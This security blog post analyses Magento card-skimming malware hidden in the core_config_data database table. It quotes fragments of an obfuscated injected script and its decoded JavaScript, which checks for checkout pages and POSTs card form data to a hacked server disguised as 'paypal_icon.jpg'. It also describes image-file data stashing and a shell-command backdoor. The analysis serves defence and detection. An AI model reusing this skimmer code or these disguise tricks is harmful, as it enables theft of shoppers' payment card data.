Magento malware that steals details of customer credit cards is a prevalent problem during the last couple of years. We write a lot about various modifications of such malware and the tricks hackers use. When you look back, it’s interesting to see how common ideas may be reused in different steps of the attack.
Database
It’s a common trick to inject malware directly into the Magento database, which helps avoid modification of files on the server. The most typical target is the design/head/includes rows of the core_config_data table. The HTML code from those records is used to build the site pages, so it’s a perfect place for injection of JavaScript code that monitors form input and sends entered data to third-party servers.
Images
Another common theme is using image files to transfer stolen data. Since 2015 (the notorious Visbot malware), we’ve seen many different variations of the server-side malware that would save stolen data in files with image extensions (.jpg, .png, .gif). Files with such extensions raise little suspicion since they are not executable. At the same time, they can be easily downloaded from the compromised sites. Some malware saved the data in plain text. More complex attacks appended the data to existing legitimate image files. Visbot and its “Fake SUPEE-5344 Patch” modification used public keys to encrypt the saved in the .jpg files data, which also helped them make the files look like real binary images.
The “Fake SUPEE-5344 Patch” malware also had a backdoor functionality. It executed arbitrary shell commands passed in the “jpg” request parameter. Apparently, everything related to images is considered benign. Another JavaScript malware sends stolen data to a third-party server, but instead of making a direct AJAX call to that remote URL, it builds an <img> tag with that remote URL as its src parameter. The result is the same, but now it looks as if it’s loading an image from a remote server, not sending data to a remote server.
Recently, we came across a combination of all the above tricks. An obfuscated script was found in the design/footer/absolute_footer row of the core_config_data table.
<script>
this["eval"]("%:){(-7{^-&//`\n5&-8\'2,-{(\':)\'sr \n{{...skipped
...String(A).split("").reverse().join("");return H.charAt(A.indexOf(W))}));
</script>Once decoded, it was clear that it steals data from Magento checkout pages
if((new RegExp('onepagecheckout|onestepcheckout|onepage|firecheckout|simplecheckout')).test(window.location)) { ...And sends it to a remote hacked site:
...
if(cc.test(snd)){ asd="1" ; }
var http = new XMLHttpRequest();
http.open("POST","https://<hacked-site>/lib/paypal_icon.jpg",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+snd+"&asd="+asd+"&id_id=infected-site.com");
...The URL of the remote script looks like a URL of an image file: https:///lib/paypal_icon.jpg. One might think that the script loads a PayPal icon for the checkout page. Of course it makes little sense. And when you notice that the script uses the POST method to open that “image” and passes form data as parameters, it becomes clear that paypal_icon.jpg is not an image – it’s a server-side script that pretends to be an image (most likely either using using .htaccess tricks like mod_rewrite or changing the handler and MIME type for the .jpg extension inside the /lib directory).
This malware reminds us once again that we should not trust any code, requests, or files just because they are related (or seem to be related) to images. And don’t limit your malware scans to files on server. Most modern CMS can’t work without a database and the databases are a common target for infections.
For more information about security issues of Magento and other ecommerce platforms, please check the Ecommerce security section of our blog. If you need someone to clean and protect your site, you can count on us.
Denis Sinegubko
Luke Leal
Bruno Zanelato
Matt Morrow
Krasimir Konov